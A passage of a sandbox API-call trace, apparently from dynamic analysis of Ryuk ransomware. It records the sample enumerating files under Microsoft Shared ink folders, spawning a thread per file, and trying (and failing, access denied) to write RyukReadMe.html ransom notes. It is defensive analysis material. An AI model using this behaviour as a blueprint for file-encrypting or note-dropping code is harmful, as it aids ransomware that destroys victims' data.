	[0160.618] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c630
	[0160.621] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.621] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0xa0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1
	[0160.621] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0160.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x324
	[0160.862] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.863] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0xa0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0
	[0160.863] FindClose (in: hFindFile=0x7c630 | out: hFindFile=0x7c630) returned 1
	[0160.863] SetLastError (dwErrCode=0x0) 
	[0160.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.863] GetLastError () returned 0x5
	[0160.863] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0160.864] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.864] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x84, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1
	[0160.864] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0160.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x320
	[0160.867] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.868] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1
	[0160.868] SetLastError (dwErrCode=0x0) 
	[0160.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.868] GetLastError () returned 0x5
	[0160.868] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0160.868] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.869] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c630
	[0160.869] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.869] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0xa0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1
	[0160.869] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0160.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x32c
	[0160.872] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.873] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0xa0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1
	[0160.873] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0160.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x330
	[0160.877] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.877] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1
	[0160.877] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0160.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x334
	[0160.881] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.882] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0
	[0160.882] FindClose (in: hFindFile=0x7c630 | out: hFindFile=0x7c630) returned 1
	[0160.882] SetLastError (dwErrCode=0x0) 
	[0160.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.884] GetLastError () returned 0x5
	[0160.884] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0160.884] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.884] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x84, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1
	[0160.885] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0160.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x328
	[0160.888] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.888] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1
	[0160.888] SetLastError (dwErrCode=0x0) 
	[0160.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.889] GetLastError () returned 0x5
	[0160.889] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0160.889] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.889] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c630
	[0160.893] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0160.893] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0xa0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1
	[0160.894] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0160.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x33c
	[0160.896] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0160.897] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0xa0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1
	[0160.897] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0160.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x340
	[0161.133] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.134] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0xa0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1
	[0161.134] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0161.135] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x344
	[0161.136] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.137] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0xa0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1
	[0161.137] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0161.138] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x348
	[0161.139] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.140] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0xa0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1
	[0161.140] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0161.141] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x34c
	[0161.143] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.144] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0xa0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1
	[0161.144] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0161.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x350
	[0161.146] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.147] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0xa0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1
	[0161.147] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0161.148] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x354
	[0161.149] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.149] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0xa0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1
	[0161.150] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0161.150] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x358
	[0161.152] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.153] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0xa0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1
	[0161.153] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0161.154] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x35c
	[0161.156] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.156] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0xa0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1
	[0161.156] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0161.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x360
	[0161.159] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.159] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0xa0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1
	[0161.159] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0161.160] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364
	[0161.162] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.162] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0xa0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1
